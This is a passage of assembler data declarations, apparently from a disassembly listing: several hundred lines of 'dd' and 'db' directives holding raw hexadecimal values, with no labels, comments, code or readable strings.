		dd 3DC06906h, 7A80FBE6h, 0F9ED489Ah, 922C8200h,	6A04620Dh
		dd 3AE10607h, 8430AB08h, 25C6F2h, 7DC39D09h, 0EB05DBFh
		dd 4D9C3500h, 9E026A24h, 2D5900D0h, 0D6319667h,	1600BB3Fh
		dd 38B640D2h, 13CABE1Ah, 891C5Ah, 6CC76D81h, 5B00820Dh
		dd 0BD735C04h, 1C05D409h, 0C0132F48h, 0FDDE7655h, 3C0010A6h
		dd 0A2CB6A5h, 5E4A32h, 8B4765C6h, 662975D0h, 0D7FBE300h
		dd 0FD4CC03Ah, 0EAB00CAh, 0F352AFB1h, 9803837Fh, 14BE7594h
		dd 166BF101h, 0EE8E71E4h, 0AF9601D9h, 2532DE24h, 9235FCBCh
		dd 80A03F3Ah, 48452991h, 0A4F1BEh, 24665BF6h, 3E1CC75h
		dd 7A0008F4h, 6C2E9610h, 0ED02C1h, 6B586F3Eh, 45AABD4Fh
		dd 9069FA07h, 4509142h,	9A8F033h, 9CC33E32h, 49554A00h
		dd 0DC001C78h, 6002AD0Eh, 2C750CCEh, 73E2C6h, 5109F14Ah
		dd 7101FCCDh, 258B36A0h, 9FECEFD2h, 45960041h, 7986436Fh
		dd 500CE91h, 9D07B77Dh,	2B28FAh, 0FB4BF699h, 2FDC887Bh
		dd 84016CEAh, 0AC2C24EAh, 0A8CFABB2h, 22A2B32h,	0AEBDA4AAh
		dd 7940402Eh, 1300BEB0h, 931179CEh, 148FFB3Dh, 87ABC15h
		dd 0BE178D00h, 6C911C87h, 0A60D7900h, 29A86DEh,	0AF774Bh
		dd 5DD2C0Ch, 0C219A55Fh, 2DD9FF01h, 0D664B245h,	3DAE60h
		dd 66A89CD3h, 90F74CF4h, 786A1600h, 0C60CA9BCh,	0A74A000Fh
		dd 8AE26BBBh, 3100CF18h, 0C574E0D7h, 40159Ah, 664CF77Ah
		dd 11455CFAh, 0A602D11Dh, 18C18700h, 0C25E9Bh, 0AA52F43Ch
		dd 31FBEC54h, 4CE88A5Bh, 0E6507907h, 436F070h, 94FC7D3Dh
		dd 24A32A00h, 0D5ED3FF2h, 0D6D4008Fh, 361B28CCh, 6A008923h
		dd 62DB0554h, 0EAC93CEBh, 1207849h, 0F26882F6h,	40697A32h
		dd 0D83E9B4h, 3089D07h,	0E1E163A0h, 908037CBh, 9167FAADh
		dd 0AA001F58h, 1E03341h, 140EAF83h, 0A8955289h,	0FA68D000h
		dd 8AFCAC6Ah, 787A1A74h, 95E02550h, 0CC8C4800h,	75CAAD0Bh
		dd 24FE0581h, 80824721h, 0B88094E8h, 5D1F6100h,	0F419A67Ch
		dd 3D2CFA3Fh, 0E6BE8AA5h, 0E96C1B80h, 0D683CF44h, 5B484312h
		dd 0BDAC6440h, 70174128h, 0AFA90095h, 351B2ABBh, 9779069Fh
		dd 0D24C100h, 0DC757B80h, 5B41245Ch, 0BAB001E4h, 0CD021C9Ch
		dd 0DF93FC39h, 0A7AC32Eh, 9AA37830h, 0C6402CCDh, 43B40A32h
		dd 81034080h, 0F7008059h, 0C74008F0h, 0C2063DCFh, 42AB864h
		dd 2B0DDB60h, 96CC180Ah, 100B710h, 0B7D0142Fh, 0B443000Eh
		dd 24222528h, 49000F86h, 4C26DED5h, 7291A3h, 1A7E5CC8h
		dd 640BD716h, 5DC90C0h,	0FA8736h, 0C45EEF75h, 0EA86027Dh
		dd 0E0183E26h, 9AAE1C00h, 1138ADh, 0BEF2AC69h, 1AE5A46Fh
		dd 0BCC53305h, 3A801D0Eh, 20F4A011h, 6F009D75h,	0D65AD96Ch
		dd 18C458B5h, 58844E5Eh
		dd 8104A039h, 4AE00788h, 878679C0h, 9FA30551h, 0C01E497Eh
		dd 9C4E5078h, 0EFE4C500h, 0CECD6CB2h, 3E14F0BAh, 5480D426h
		dd 1521404Ah, 891D4D68h, 0EB49B25Eh, 7F30A091h,	12B0E287h
		dd 4EA199h, 3625D78Ch, 0A7007703h, 7B3C2418h, 2B6181h
		dd 0A9B987C7h, 0E770EBD8h, 0F15ABB00h, 0DA845327h, 0F9830049h
		dd 0BC37C795h, 9F2432EAh, 833F149Dh, 4706C473h,	0DDA29830h
		dd 0EEBD050Eh, 0C004C86Eh, 0A976C658h, 608B1324h, 7D179C00h
		dd 98AF870h, 276E07D4h,	0C80B8800h, 9007705h, 0EC6CE59Ch
		dd 98B8865Ah, 0E769004Ah, 49AA1753h, 0B00EFBDBh, 1A767DCh
		dd 87CD6A26h, 7D50A6CCh, 2EE00E9h, 9273BE97h, 5E3D6281h
		dd 0ED9B00C1h, 0A94C68E1h, 4E7932h, 91412D0Ah, 34C547E0h
		dd 0DFE6B9F0h, 0F190D000h, 799B8894h, 731F00ECh, 9D8696AFh
		dd 2100EA7Bh, 0A844A7Eh, 53A85Dh, 0E12FD9DDh, 54BA5057h
		dd 4E5908A0h, 0F061BC00h, 5DD40ECFh, 6C9A1C7Dh,	0FA873A70h
		dd 7084D544h, 0A70576D7h, 5437EB00h, 0F2D3E41Fh, 0F0230F78h
		dd 401E73D8h, 95B94D56h, 0FC399C64h, 2D0F8079h,	0D4016D82h
		dd 0D6CE00B3h, 7B0773Dh, 9B7A14C4h, 0F4FCF503h,	0CF476ACDh
		dd 97764C80h, 0E9E47Ah,	3FECC17Eh, 0CCB0AF69h, 0FDB6D107h
		dd 1ED0D9E8h, 0CFFEEFh,	4FCB585Fh, 0DBE1F40h, 2279DA0Fh
		dd 567D600Ah, 13B0F0A9h, 213082h, 87611C47h, 58006654h
		dd 1620C99h, 0C264EDEh,	21F5C6F7h, 0FF0C3320h, 0B86491FCh
		dd 8B830005h, 9C41F319h, 0EA00FD88h, 2853DEE3h,	1F697B1Ch
		dd 40BCF678h, 521A37D8h, 4B00EBF9h, 0B189E516h,	2E05BEh
		dd 6A6FCEEDh, 7B727C69h, 32C70A01h, 0F613FCB6h,	0F2A4A0F3h
		dd 15665C3Eh, 2480CB3Ah, 17930703h, 3430FB94h, 95F5F8C2h
		dd 0A7DF3B8Ch, 0B59250E0h, 0ED203AB9h, 65787CADh, 3C4086h
		dd 6B937070h, 0B1A1EB6Eh, 37E840D6h, 510F9F43h,	4E8992E0h
		dd 804F2AACh, 702F3BDh,	0B7A85878h, 0EC84A0E8h,	60EB5DE7h
		dd 86D11BFh, 0D73ED76h,	6009070h, 9C13887Eh, 0E1E7F25h
		dd 4867F2F7h, 96EED060h, 3E008637h, 0D44F929Fh,	0EFC410h
		dd 0A113241Ch, 0E56865ADh, 586CA218h, 9CCFA0h, 6A4C7F2Bh
		dd 76A49AA5h, 0B94BB500h, 0ED9EE430h, 5A3F0004h, 7B85A655h
		dd 8E07AD09h, 0AB10D38Ch, 0C84F6A70h, 2AFD0058h, 8ABE7290h
		dd 630FF260h, 0C0DB6264h, 3447401Eh, 0CC4B283Bh, 0B0E41CB8h
		dd 205BC04Eh, 0B6AAF4DFh, 4D724C00h, 0A906C122h, 783200BCh
		dd 35AC5243h, 3E0A5144h, 8E0B526h, 0E2B72880h, 0F2AAB9h
		dd 0ED013730h, 0C6CE972h, 0AE086703h, 0E817E4F0h, 1AC2904h
		dd 503F1DD5h, 6071A248h, 0E5287C6Ch, 0C526A001h, 510043F1h
		dd 0FB5C7462h, 0F30901Ch, 2506E3AFh, 66DC0FA0h,	311271A5h
		dd 7C001F68h, 62E2F34Ch, 36981277h, 0CB1400D8h,	0E182EEBFh
		dd 0FB003C75h, 0B6B1C926h, 0EDB304h, 3031E50Eh,	0E65A158Eh
		dd 49FA4092h, 99BAC200h, 38FB2DB5h, 0EC7A0037h,	6FAE9414h
		dd 72019EA1h, 0D67D51E3h, 41C2D2E5h, 0B4D43C20h, 6C5E007Fh
		dd 0D7AF4052h, 701F6B3h, 9C7DEAFEh, 0E6C477F7h,	87600AFFh
		dd 0BA9042h, 5161D370h,	0C4120FF9h, 2F142409h, 19007E52h
		dd 690AF365h, 9FCE53h, 88685C5Fh, 47AC0D4Ah, 328E2800h
		dd 6383A9C9h, 0BA390214h, 0CF0EBD75h, 0AE678848h, 0ECEDD800h
		dd 44566026h, 0EBDA09ACh, 88F28EAh, 0E1DCB220h,	0BB051024h
		dd 390721A4h, 8BCCC4Ah,	0C046320Fh, 3687B849h, 9898CAh
		dd 9E7884F2h, 292A24EAh, 26736748h, 6C230D6h, 0E09C4B77h
		dd 0E40DF71h, 0FF1D1393h, 1A21B3C0h, 54007C8Fh,	0BED9C452h
		dd 7E024D5h, 0F6F7167Eh, 6F53C0E7h, 2000CFC1h, 218CEF91h
		dd 0D9EEC2h, 185C2E93h,	0F585498Bh, 3238CDE2h, 0C660FE23h
		dd 50E3C7A0h, 30C16045h, 0A5AB43BBh, 0FF014C90h, 916D5233h
		dd 0D3EC4989h, 0DACC0036h, 80F27525h, 56FE7C8Dh, 0EAB9AA03h
		dd 0A7990135h, 62F019F7h, 654FED0h, 0A7B8AC9Fh,	7C0921D8h
		dd 1034C717h, 37A428h, 83A61124h, 8B02859Dh, 28B3C300h
		dd 5C409A6Ch, 388048D7h, 0E4DD440h, 0DC49AC70h,	77875720h
		dd 6B0072F0h, 8B53D0D8h, 274EE79h, 5AE7EF6Dh, 0C0DF8E04h
		dd 0E5D1D5h, 0C8C065Ch,	0A4233707h, 8EC72E01h, 3AC8DE50h
		dd 0CCBD6181h, 0C03B4A8Ah, 0D330B3E2h, 0F0B71821h, 6004F069h
		dd 6A201105h, 0F3003B81h, 0DEBD8ED0h, 7F14C45h,	67E994FEh
		dd 0B21B70A3h, 97311088h, 0FB4E30B5h, 6380AED0h, 6B54705Dh
		dd 5AF70780h, 6EB72200h, 0D3C6A569h, 8E3401BFh,	7C81AFCDh
		dd 0DB908056h, 4BA41C54h, 4E88A8C7h, 0D2003FCh,	11585AEFh
		dd 0F534801h, 8AE3C02Ch, 3007D424h, 0B9E13B0Ch,	9F006A28h
		dd 45B59B17h, 0A7EB22h,	0E97796C4h, 0A1DCFD83h,	0DF3DC91Fh
		dd 8E9F2BC0h, 0F0C45Eh,	7595598Dh, 5BE2AE8Ch, 481538h
		dd 0CE73A338h, 65D09Eh,	0A93F6F0h, 0E5A44FDDh, 41C0D94Bh
		dd 9954E1h, 0B7B4E9BDh,	6D01C189h, 58D80D1Fh, 57C94541h
		dd 353011E2h, 0C83000E1h, 0A5E7883Bh, 527EF84Ah, 6AA1A800h
		dd 0B6BA5FABh, 0E3A72BCh, 53CAECB2h, 0F79AE3Eh,	3C81D2FFh
		dd 304AD472h, 909B216h,	80C87403h, 0B3E305FAh, 25F100A7h
		dd 80771E46h, 9B1F0EF4h, 6707B7C9h, 81CA4BEAh, 539FF903h
		dd 0FE1014C7h, 0B002A4B3h, 89CC8ECBh, 0A366ACA0h, 0F065CFDh
		dd 7205A87h, 219F6209h,	605F9BC6h, 62D4EE9Ch, 2B1786A2h
		dd 0B1F73868h, 636DD300h, 0EEBADC92h, 0E4561E6Eh, 38D8809Bh
		dd 4C484D43h, 80A0136Ah, 0EA4F9447h, 5E000833h,	0B7A5495Ah
		dd 0C76A0C50h, 4B0860BFh, 527C21C0h, 1BAB649h, 0B7C456A4h
		dd 83F2939Fh, 607845D8h, 2C60420Bh, 9B3046E2h, 0B6100171h
		dd 576FB5AEh, 0F85810C8h, 0D9468422h, 0A6495902h, 1C58B7h
		dd 0DD49517Dh, 0FF4D55B1h, 92A43115h, 4F950CA8h, 386F2939h
		dd 70E8DB97h, 902103CCh, 1000F167h, 0B1160B11h,	76CCAE4h
		dd 7FE248DCh, 0B7266722h, 60B2E05Ch, 4503044Fh,	4D7CDBE3h
		dd 3B80DF24h, 0F7F554h,	70F27396h, 0B799AC33h, 50D17100h
		dd 0FA2D9512h, 4E9F0057h, 7DC5E030h, 0E8004F6Ch, 2068A3F6h
		dd 0B89E67D4h, 0DD180074h, 0FF48DB09h, 3D3BB32Eh, 9B5100F7h
		dd 7BD6A9D3h, 74A5EE6Dh, 0C6F600C4h, 1D319AC8h,	65004675h
		dd 0E49883Fh, 3913ABC5h, 0B8EF4F8h, 41C0E224h, 0C75D672h
		dd 0B982D200h, 0F4C95122h, 0E6B603F9h, 0C8FA7388h, 46606104h
		dd 1EC355F8h, 0E287C80h, 0A6F4DC44h, 91FE8900h,	40038821h
		dd 0E0857062h, 2CA09009h, 0AB9400FDh, 0CADC4D97h, 0D12DC46Dh
		dd 9DF066h, 0D37961A7h,	75E4764Ah, 372C19CFh, 333E76B8h
		dd 0BF563A83h, 0BCE06F18h, 7B0F775Bh, 0D598C8h,	95FCA39Ah
		dd 396B0026h, 0F0E031E1h, 0D8CF6471h, 0CB9C013h, 389D20Eh
		dd 0F48F4BCCh, 0C1008154h, 0AA852087h, 31A340Ah, 0C3F929A6h
		dd 0C7F05D93h, 0B40009BBh, 0BAEE5A63h, 0C6BF270h, 0D0F8DBBCh
		dd 0AA2ABF41h, 475C90C1h, 0FA2E0115h, 1E234913h, 0C36C96FCh
		dd 752A6D28h, 7CD73CD0h, 0F96EF51Eh, 0ADB7B580h, 449627F1h
		dd 0BF70CD4Bh, 83B6F400h, 70A59139h, 285E02CEh,	0BCA95437h
		dd 88D67D40h, 95C8FB07h, 24B08EB9h, 11DE53Eh, 8F687DEBh
		dd 0A1E8780Dh, 187E0410h, 10F0B8DDh, 0A31C70D5h, 940240Ah
		dd 3FEE2682h, 1A4B0EFCh
		dd 9140DD22h, 5DD6E886h, 85299864h, 0AEE1FA40h,	0BA0F69EFh
		dd 202B3AC7h, 0A580F706h, 282F006Eh, 0DAF908FCh, 7E0011D2h
		dd 45572D99h, 1C0D6371h, 0C0F0AC7Fh, 0D0413E8Ch, 9000AF6Ah
		dd 2C71989Bh, 6B6CE9h, 0FACB73BEh, 3D0DE549h, 0BFC67202h
		dd 605C1CF0h, 4C39FBh, 26B1B4D7h, 305B6EAFh, 0C4954416h
		dd 0FD3FCE00h, 15F2105h, 0AEF4F6EDh, 0C43BBCF8h, 670050A1h
		dd 4005238Fh, 79B8E60h,	2D7A90EAh, 0E8D97041h, 8807DADDh
		dd 9409C833h, 0A90D767h, 3CD5AE2Eh, 0AF00C75Bh,	7142C993h
		dd 0E500F425h, 0FF619E14h, 24F6FD1h, 0A784BA46h, 0BC820D72h
		dd 6740C83Dh, 7B007D42h, 0D630D92Dh, 3FA12102h,	2F0064F4h
		dd 8DA34547h, 2B018F07h, 0FB3BB877h, 0C9711892h, 0C8D0C0EEh
		dd 0E2F9EEDFh, 0D3390008h, 338C8441h, 1138555Ah, 0EA1D12AFh
		dd 95993C00h, 1842FDADh, 9C20B2FEh, 720325A5h, 7D5748D7h
		dd 68B100A2h, 9BBD87E9h, 0B30FB518h, 0C0B6998Ch, 8FADCB9h
		dd 668E0094h, 0FC400358h, 0D500FEFDh, 0A25041B3h, 2434AA7h
		dd 7A8866C5h, 0FBC06082h, 9000042Dh, 0AC5F8D1Eh, 136D9FEh
		dd 54769D3Bh, 30434DA5h, 0AA0087B0h, 9C3DEAC6h,	90E3EF02h
		dd 35FF0050h, 7DB5B34Ah, 0E8006E33h, 6DBB424Dh,	839A89h
		dd 0BD444EA5h, 1A0D0EEFh, 76B6F500h, 9742D01h, 7CDEA10Bh
		dd 0E8CFACCh, 65EC0E9Ch, 402C1F92h, 0FBF438ACh,	0F1EAF248h
		dd 0DDF890EAh, 0F3C54600h, 68D45935h, 150B3C16h, 0F4E3D980h
		dd 678E8ACh, 33896A00h,	9657B225h, 780AFCDDh, 0B53700F2h
		dd 1612443h, 0B118F077h, 0F621825Bh, 0E5C01F5h,	747E0FB2h
		dd 0E4198076h, 59860968h, 3BC400AEh, 0B87F3C0Eh, 0AB0901E8h
		dd 1F22F47h, 18FE9CD0h,	0C3D6E4h, 4684E5F0h, 0BECEA330h
		dd 97EAD900h, 4CA92604h, 727E3927h, 4F997F03h, 8EB90855h
		dd 4298EC83h, 0E7115001h, 73223395h, 0F79C880h,	0B60A1924h
		dd 44934A24h, 544F1280h, 0F6EF6ED4h, 5337A9Fh, 78760E7Fh
		dd 153B801Ch, 0C117FE71h, 1EBEAB29h, 0D995CCF0h, 0F100A0D9h
		dd 0A9BC80DEh, 0EA6BC6h, 6EE9B6FFh, 0E8DD63Dh, 9767B300h
		dd 946495D1h, 0F2E326B2h, 0A95B0441h, 0EA0080E0h, 3500837Dh
		dd 973953F7h, 1DB79DE5h, 8001434Bh, 7A3A4FBAh, 5816AF7Fh
		dd 33007B9Ah, 291973C3h, 792A0383h, 2B9062F1h, 23EDB580h
		dd 0DE986C00h, 0B9A26B8Eh, 2470030Fh, 0C67D73D2h, 4E6031B2h
		dd 0BE0317FBh, 0F4A28009h, 0E1E4F0CCh, 0E5D600F6h, 0C572B20Ah
		dd 8A00506Dh, 91537B30h, 1FF2EAC3h, 536610B4h, 0A41000BAh
		dd 0D06552E5h, 86E40700h, 2C60BC11h, 0BD1500B1h, 3581E1C1h
		dd 653DEF6Dh, 23D9938Fh, 903B1400h, 2C68B3CCh, 8004390Ah
		dd 5A389759h, 7874960Ch, 36C1A400h, 4F780B5h, 0F37903B6h
		dd 0EED3408Dh, 669BBF0h, 977CDA00h, 0E41509ECh,	2CB8097Bh
		dd 7B80D5DBh, 641C7CDh,	2D4C51F8h, 0B1E6005Ch, 297863A7h
		dd 0CDA2C38h, 0F514014h, 120E4861h, 60593B2Ah, 0E097C104h
		dd 0C04901AEh, 94BFD447h, 0F0143011h, 5FB4E800h, 139E7002h
		dd 0DF90C7D1h, 0F9EC30DCh, 0C9007DF7h, 4F27575Fh, 669F7Ch
		dd 7F5C01C4h, 37E43C92h, 1ACB1000h, 0B2872B9Eh,	2EF048C6h
		dd 514FBD04h, 0E13C809Dh, 0CA1ED56Ah, 37006EC1h, 3CA3ED90h
		dd 0AEB516C3h, 0D7D00358h, 63BF9CA9h, 1ED304F6h, 0D1B2D000h
		dd 6CBF27EFh, 0ED8100FEh, 0A73F07AAh, 68070593h, 8DC19FE8h
		dd 68D0C504h, 0CA314h, 9DDC2B8Bh, 5998AF42h, 0F7E4961Eh
		dd 0A89B5204h, 0C6FB7881h, 0D5F003D5h, 305700B9h, 68BFB32Ah
		dd 0FFE0CA3Dh, 2C96722Ch, 63EF200h, 49BD290h, 19D6E503h
		dd 1565C04Fh, 6F00FE8Ch, 0A53D07C3h, 0EA6D6537h, 480B282h
		dd 9E66C29h, 151AC057h,	25F8CC9Ah, 0A0740B00h, 35ABEE3Ah
		dd 77AC002Ch, 76DAB233h, 0A27E4E8Ah, 6E044700h,	1D11B0D8h
		dd 0D49C0353h, 315F0A88h, 7C7879C0h, 0E06CF000h, 6F90ADA2h
		dd 0CABB3A51h, 5C49CF85h, 0BDF4034Ch, 0BCC83A25h, 75001F7Fh
		dd 84B917FDh, 0E4BAC4E4h, 1C1C90E7h, 80455C27h,	0B7337496h
		dd 21003935h, 73C6F6FCh, 4C89FAA4h, 0D3323818h,	84C07EEEh
		dd 7F226D22h, 78A3CCBh,	9A167972h, 0CC080540h, 829C56BBh
		dd 0E463801Fh, 3B79CAB8h, 0AFD16501h, 0DA285A25h, 14F8DEECh
		dd 64950D46h, 80AB241Dh, 0AC150A8Fh, 0F91F68B2h, 189FD606h
		dd 69390400h, 0B0E42DBEh, 4E491EB4h, 0C6BC402Ah, 0ACD2D379h
		dd 1B9F9602h, 80877AE9h, 0B5E8CBB7h, 31A30072h,	4D9718D8h
		dd 0AB076EF3h, 962459F6h, 380780B0h, 4250013h, 0DF93860Eh
		dd 9478F7BDh, 44D85000h, 3BCBA13Fh, 144501C1h, 4CC47B84h
		dd 0D4DDF9B6h, 6702FBBCh, 0E5E1AA86h, 0E684C4ABh, 0C8622C40h
		dd 57788194h, 706CCA9Ch, 0E100D7C0h, 67B1D2C0h,	0E2C4CFh
		dd 0C876AA3Ah, 0DBC3CB1Ch, 0D1ACCD5Eh, 82628h, 0C9CF6FBEh
		dd 90B7A8D6h, 4CD85C3Eh, 0DFB60700h, 4C40356Ch,	9A21A18Eh
		dd 249E120Ch, 0B024870Bh, 9FD781F8h, 7B82181Dh,	0EF23C406h
		dd 0A81D1028h, 0B0E0880Ch, 0C932A330h, 95C58918h, 614B6C38h
		dd 0B834D1E1h, 0E665E507h, 32812480h, 1500E5A3h, 0F59E6BC7h
		dd 36F0AE7h, 0CCEE9F7Ah, 97B056ECh, 110379D9h, 0A08DD482h
		dd 13BF021h, 9030A4CBh,	869700D1h, 0BFB13EE8h, 2A012985h
		dd 856148Bh, 98D06299h,	3E3F004Fh, 0E2FF221Ah, 850097EEh
		dd 0C22DD018h, 1ECBFE10h, 83535CCFh, 80C343ADh,	2408A7D8h
		dd 52BA761Eh, 69810ADDh, 0F2553177h, 230BC980h,	3344CAA4h
		dd 6C22010Eh, 14181DCBh, 1BB021h, 0D96AAAA4h, 0DDB9732h
		dd 0C400A975h, 4036FE5Bh, 0E3315A6h, 7E759FC5h,	0EBD718F8h
		dd 0D0DD1B29h, 4DD87D00h, 767B646h, 0AF9EE46Bh,	218A466Ch
		dd 4D806200h, 0A8CF6F0h, 0D30601A1h, 23725F71h,	7DD85007h
		dd 8387EF2h, 924805Ah, 22715005h, 856C04EFh, 40F6B640h
		dd 0F43EEC1Eh, 48A90099h, 0D3294172h, 0F1071CD8h, 0A2C01AD1h
		dd 23770BC7h, 6C842F15h, 0C0388C08h, 44C5A430h,	8085CB70h
		dd 17A3C8ABh, 0D401D29Bh, 7E60F95Eh, 8906BC32h,	0BE8858A0h
		dd 79901F50h, 1862AE10h, 9A40187Ch, 0F68E190Fh,	0B29CF057h
		dd 4F0BC0C1h, 829B0625h, 0D0A9E4B7h, 33B3E33Eh,	0E08AE86Ah
		dd 0D752DAh, 8EB2A83Bh,	80387949h, 34F48F1Ch, 2C725B40h
		dd 2BC725h, 5213A306h, 0ED5115DCh, 0DD1C2172h, 62409DD1h
		dd 5EB65F4h, 0B52C038Fh, 3F9ABE55h, 2A0040D6h, 250A7BE3h
		dd 0C94D3Ch, 0A9089D2Dh, 0D1819906h, 0BF0C4E00h, 0A0466FA7h
		dd 19EEA26h, 1ED4C9B0h,	802A256Ch, 1D67C288h, 11A4EDh
		dd 2B36F43Dh, 0DF0F8EF0h, 0F513EF07h, 2F705D2Ah, 0CD41C49h
		dd 8CE43947h, 7015B80h,	9B147BC0h, 5320EC26h, 9B025089h
		dd 0D9BC0955h, 288C4D45h, 82607AB1h, 0D11CBE39h, 25A80350h
		dd 0A1F3F261h, 0D51BFD0h, 68DB7E00h, 8FB67203h,	438300D3h
		dd 0F25C5787h, 19C11730h, 82DFDAF3h, 0B7BC7810h, 7070B530h
		dd 111D7236h, 19E7A29h,	3E0D3C74h, 91C0BC70h, 842707C4h
		dd 20A34F11h, 859B2134h, 0D7D75B8h, 3F4CAB71h, 758700C1h
		dd 999198FEh, 0F0F400A7h, 0AB0D7FE1h, 0C7486F8h, 22218E60h
		dd 76DF33Fh, 56765C9Dh,	0A0EEB0B0h, 79804ADEh, 99D703BCh
		dd 3B35FFB6h, 0A912CFA8h, 0A464F907h, 0AD70E469h, 1BE63B4h
		dd 0AC79941Dh, 40C2FE99h
		dd 706B9E20h, 45C64E00h, 6D7D75D0h, 679BE8CBh, 1F4320A4h
		dd 0E5DE7B22h, 0D867ACE1h, 7E70452Ch, 0F09A50Fh, 0B0A2E0DCh
		dd 6068BA12h, 0D6FE5930h, 63302993h, 0F77811B3h, 359503B7h
		dd 2D4A97F0h, 0AF120918h, 0FF5820h, 38DD6B7h, 0A5BACAE2h
		dd 18309400h, 0F1FEC078h, 59950086h, 0DBD311C2h, 0A13B3BB0h
		dd 0ACA9A803h, 808C3E21h, 0E1F1F4DCh, 82850C97h, 0DF39437h
		dd 55AF3DC0h, 0E7086603h, 0F9477B01h, 68808CC6h, 9C32BB26h
		dd 5000D771h, 189853FBh, 6FA9BEh, 0E33EB9B4h, 0AE2786FEh
		dd 3CC2D70Fh, 3BADC060h, 1E9299F8h, 8C6E9Eh, 1D24DAD4h
		dd 0DC00FCC4h, 4E636866h, 0D99EEBh, 4115E020h, 37D26424h
		dd 3D1F6D00h, 10307E99h, 26F6002Bh, 0CE24A1C5h,	0D4007275h
		dd 0B6480477h, 59151Dh,	96227692h, 0DEBBB9FFh, 0DF00D5B0h
		dd 0EC828565h, 393A5D4h, 747BF136h, 0D5F9CDEFh,	0F6EFC3Ah
		dd 0C9452A00h, 0FA99C62Ch, 87A201FBh, 0B63B840h, 0A6C0F8B1h
		dd 0C5096179h, 8CBB9FF6h, 0A59D1160h, 0ECDE104h, 331080A3h
		dd 0F31EB5B9h, 5B733C60h, 467DD100h, 0BF8C673Bh, 0AFD26E00h
		dd 0BE669C74h, 9E807B3h, 0D1A1D8D1h, 0C8EBB4F0h, 0A600F384h
		dd 0C957ADC7h, 3F11338Fh, 0B91853EAh, 2AE858E3h, 5BE22E00h
		dd 2F15C168h, 0CD7857h,	0B39F3F0Bh, 49227025h, 38475D03h
		dd 0B87B92C8h, 0FA4237A3h, 2D7F012Fh, 66F36C21h, 0E8A0D112h
		dd 0CA0394F2h, 5D7D0D41h, 0B3D790DBh, 0B55500D6h, 725E1E31h
		dd 0B700326Ah, 79FD307Bh, 0F5BF76h, 2FDA428Dh, 0D64BA7EFh
		dd 0AD150A00h, 27C9F254h, 0A8FC03CAh, 0E5424691h, 0ECAC7DE0h
		dd 9700C777h, 0FEF1040Fh, 0DCA5F6h, 744BCBD2h, 0B9AC321Dh
		dd 9FE34E02h, 0D8B45625h, 0AD60E38Dh, 0B01903CDh, 0C29BB8DEh
		dd 558965E8h, 0F1C440FFh, 0BC000C11h, 4B394262h, 1814577Fh
		dd 0AA801C03h, 0E4FC5982h, 644A912Eh, 77019912h, 77B27C65h
		dd 60802171h, 803B02C5h, 7F0FC6A8h, 5035654Fh, 62E09200h
		dd 2F13566Dh, 0F923A900h, 1536CE52h, 0B95A0009h, 9F8B692Bh
		dd 9302F226h, 3A524825h, 70BEC086h, 31460040h, 59870FDEh
		dd 0DDFAE417h, 0C3C1CC03h, 3BDA5D5Ch, 0A98007C0h, 34E750FEh
		dd 15006ADFh, 7DC7DB38h, 0A8BBAA9Eh, 0E594DF8h,	0FA17A62Eh
		dd 2B167AC0h, 0CB00DCE5h, 14C7E4DBh, 0D1C3AFh, 0E71FAE56h
		dd 0D2F691A9h, 766F9400h, 9A3CF5E2h, 6A18010Ch,	7FE24DEh
		dd 58377096h, 63FC3007h, 5F80B568h, 78A959Eh, 62812688h
		dd 0BD5840FBh, 48001D14h, 0B93B04CEh, 94515Dh, 6A4FB0F5h
		dd 0C02F68DDh, 0C973F90Fh, 6220C410h, 0FB209887h, 3CF0066Ah
		dd 0D83BC68h, 3642EEB1h, 3F3B18A0h, 2F0E1B78h, 408E866Ah
		dd 1CAFE1D6h, 7D710048h, 0C7B6A435h, 750E62E3h,	27575D88h
		dd 87404364h, 422C8A3h,	86E53CD9h, 8E6087CFh, 0AD63FA60h
		dd 79000CB5h, 56F418D4h, 3C1395CDh, 0DD1E1085h,	393D8057h
		dd 0E9504F7Dh, 35F8C450h, 11FB9107h, 0EA509EBAh, 49C94Eh
		dd 0CFDECCE8h, 0FE2A6AFDh, 8C03DA71h, 0AFBA71E3h, 373BD904h
		dd 721C420h, 9866BBFDh,	7CC390C7h, 95009B15h, 24C061C1h
		dd 548C26B9h, 1D9E880h,	50F36EF6h, 0E14F7CFEh, 463C2436h
		dd 7976E100h, 0DDFF3252h, 0A3FB003Bh, 0F3F4971Dh, 7C005B92h
		dd 3ACE6646h, 456E7Dh, 0AFD0E521h, 1475E720h, 686CC413h
		dd 0EC88C05h, 0F2488C03h, 0FFDCE04Ch, 150200F9h, 0C4914D0h
		dd 0CB00F5C1h, 9D3D3953h, 0BAED75h, 3B01B7B9h, 0C42FC50Eh
		dd 0A832D414h, 1EAF1CE3h, 0B798E600h, 0ECC003h,	0E48F87A6h
		dd 24B1B083h, 0FE16B800h, 0B267285Eh, 1239005Bh, 44B6746Fh
		dd 0B30043C4h, 0BC526C0Ch, 5DDD63h, 191E6B67h, 288C458Fh
		dd 0C79FAD14h, 790A0084h, 4DBF6A3h, 8413006Eh, 0DF167BEAh
		dd 5B001597h, 0F0CA9D08h, 690DBCh, 0F2A99B7Fh, 0B1FDA6EAh
		dd 7C03AE39h, 0D932C500h, 9EC69C58h, 5DBF0001h
		db 7Dh,	0E0h, 0EBh
		db 0DFh
		dd 0A20E17F9h, 20F4FBA4h, 0D63D3E7Fh, 0B1B62612h, 6C4780F8h
		dd 0D5A88C1h, 2014A4A1h, 0E600CDD0h, 0A7E2F435h, 6352DEDFh
		dd 34C021E0h, 65B014C3h, 4D005726h, 0A859D066h,	78E89Ch
		dd 0C38EF95Bh, 0D605802h, 57931600h, 0B740D156h, 253D2E4Ch
		dd 10CF18E4h, 2F90F588h, 35CC2B00h, 7996D3F6h, 16AC07B4h
		dd 203C2A40h, 0E6B744D5h, 0C93E7F78h, 0FC4C72h,	5B6BAF57h
		dd 0EB6245h, 34D5EAE5h,	379A5297h, 1950640Fh, 0E91AAD10h
		dd 34AFECh, 9CA1ABA6h, 413929DFh, 97E4097Ah, 7D05E41Ch
		dd 1567AA00h, 9600A65h,	812E9DFEh, 1AEC0400h, 0E100B668h
		dd 0FA67BEF2h, 3C230A2Fh, 480C68Ch, 6FE77345h, 8D5CDDD8h
		dd 79284C64h, 9F811F07h, 3BD039CFh, 0DA18A5h, 0FE0A55F8h
		dd 7762FB2Dh, 9CF75Ch, 17AF431Bh, 7AC31A81h, 3D45007Dh
		dd 27B774AEh, 9F1D67CDh, 118012CEh, 66E81AF9h, 447184h
		dd 57DE4390h, 0D7F86AA5h, 69A25105h, 0D80017BAh, 9132687h
		dd 0A1280035h, 0D077E80Bh, 81DCE7Ah, 6BC3EED1h,	0D0393EDAh
